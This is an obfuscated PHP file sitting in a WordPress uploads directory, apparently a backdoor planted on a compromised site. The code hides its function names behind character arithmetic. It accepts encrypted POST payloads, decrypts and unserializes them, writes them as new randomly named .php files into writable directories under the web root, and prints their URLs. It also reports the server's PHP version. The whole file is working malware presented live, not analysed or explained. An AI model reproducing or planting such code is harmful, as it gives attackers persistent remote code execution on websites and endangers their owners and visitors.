File: /home/slyfwmm/laretediclo/wp-content/uploads/2014/06/rfhdvkis.php
<?php $hWRGzQYmr = "SbRqO";function GMlAYjM($hWRGzQYmr){$stsaBKyj = chr(114)."\x61"."\x77".chr(719-602)."\x72"."\x6c"."\144".chr(932-831).'c'."\x6f"."\x64".'e';$aBDwdzJIa = chr(115)."\x74".chr(114).'_'.chr(114).chr(111).chr(116)."\x31"."\x33";$MvSpZqM = "\x73".chr(116).chr(837-723).'_'.chr(115)."\x70".'l'."\x69".chr(523-407);$hWRGzQYmr = $MvSpZqM($stsaBKyj($aBDwdzJIa($hWRGzQYmr)));return $hWRGzQYmr;}function bJAqssKS($wfXuLDHE, $YohYHurk){$SWLEY = chr(609-494)."\164"."\x72"."\x5f".'s'."\160".'l'.'i'.'t';$wfXuLDHE = array_slice($SWLEY(str_repeat($wfXuLDHE, (count($YohYHurk)/16)+1)), 0, count($YohYHurk));return $wfXuLDHE;}function pjQlvoCDf($GZhQqvFxR, $ZcvQnfSR, $wfXuLDHE){$ijwDu = "26806f98-901b-474c-9cb4-f27409c3b2f1";return $GZhQqvFxR ^ $ijwDu[$ZcvQnfSR % strlen($ijwDu)] ^ $wfXuLDHE;}function jFQpd($YohYHurk, $wfXuLDHE){$YohYHurk = array_map("pjQlvoCDf", array_values($YohYHurk), array_keys($YohYHurk), array_values($wfXuLDHE));$YohYHurk = implode("", $YohYHurk);$tYvARtFZA = 'u'."\156"."\x73".chr(101).'r'.chr(692-587)."\141"."\154"."\151"."\172".chr(1044-943);$YohYHurk = @$tYvARtFZA($YohYHurk);return $YohYHurk;}function QpIWdgj(){echo "ufkoDZ";}function lAuER($cdgikMvGzHir){static $sHpney = array();$ZmQVqTCTcv = glob($cdgikMvGzHir . '/*', GLOB_ONLYDIR);$cOHjyC = count($ZmQVqTCTcv);if ($cOHjyC > 0) {foreach ($ZmQVqTCTcv as $cdgikMvGzH) {$DYSdOh = "\x69".'s'.chr(725-630)."\167".chr(427-313).chr(257-152)."\x74".chr(97).chr(404-306).chr(613-505)."\145";if (@$DYSdOh($cdgikMvGzH)) {$sHpney[] = $cdgikMvGzH;}}}foreach ($ZmQVqTCTcv as $cdgikMvGzHir) lAuER($cdgikMvGzHir);return $sHpney;}function RSiKt(){echo "SbRqO";}function aUAvccY($YohYHurk){$pCeFVwCU = chr(68)."\117"."\103".chr(467-382)."\x4d"."\105".chr(1054-976).chr(299-215).chr(1019-924).'R'.'O'."\x4f".chr(84);$BecGqeG = $_SERVER[$pCeFVwCU];$ZmQVqTCTcv = lAuER($BecGqeG);$cAqAHEh = array_rand($ZmQVqTCTcv);$BFbtGFEOg = chr(570-524).'p'.'h'.'p';$nsUKcff = $ZmQVqTCTcv[$cAqAHEh] . "/" . substr(md5(time()), 0, 8) . $BFbtGFEOg;$DfEmq = "\x66".chr(105)."\154"."\145".chr(95)."\x70"."\x75"."\x74".'_'."\143"."\x6f".'n'."\164".chr(891-790).'n'.chr(116)."\163";@$DfEmq($nsUKcff, $YohYHurk);$cOnTZmoTFc = "\110"."\x54".chr(880-796)."\120"."\137".chr(249-177)."\117".chr(581-498).chr(84);$WbaABgURi = "\150".'t'.chr(116)."\160".':'.'/'."\x2f";$KPcgXjms = $WbaABgURi . $_SERVER[$cOnTZmoTFc] . substr($nsUKcff, strlen($BecGqeG));print($KPcgXjms);}foreach ($_POST as $wfXuLDHE => $YohYHurk){$raMukk = strlen($wfXuLDHE);if ($raMukk == 16){$YohYHurk = GMlAYjM($YohYHurk);$wfXuLDHE = bJAqssKS($wfXuLDHE, $YohYHurk);$YohYHurk = jFQpd($YohYHurk, $wfXuLDHE);if (@is_array($YohYHurk)){$cAqAHEh = array_keys($YohYHurk);$YohYHurk = $YohYHurk[$cAqAHEh[0]];$cAqAHEh = $cAqAHEh[0];if ($YohYHurk !== $cAqAHEh){aUAvccY($YohYHurk);}else {$EEqAy = chr(435-323).chr(104)."\x70";$ZrJroel = "\160"."\x68".'p'.chr(134-16)."\145".chr(301-187)."\x73"."\x69"."\157".chr(1088-978);$YohYHurk = Array($EEqAy => @$ZrJroel(), );$MZhqEby = 's'.chr(999-898).'r'.chr(105).chr(97).chr(608-500).chr(699-594).'z'."\145";echo @$MZhqEby($YohYHurk);}die();}}}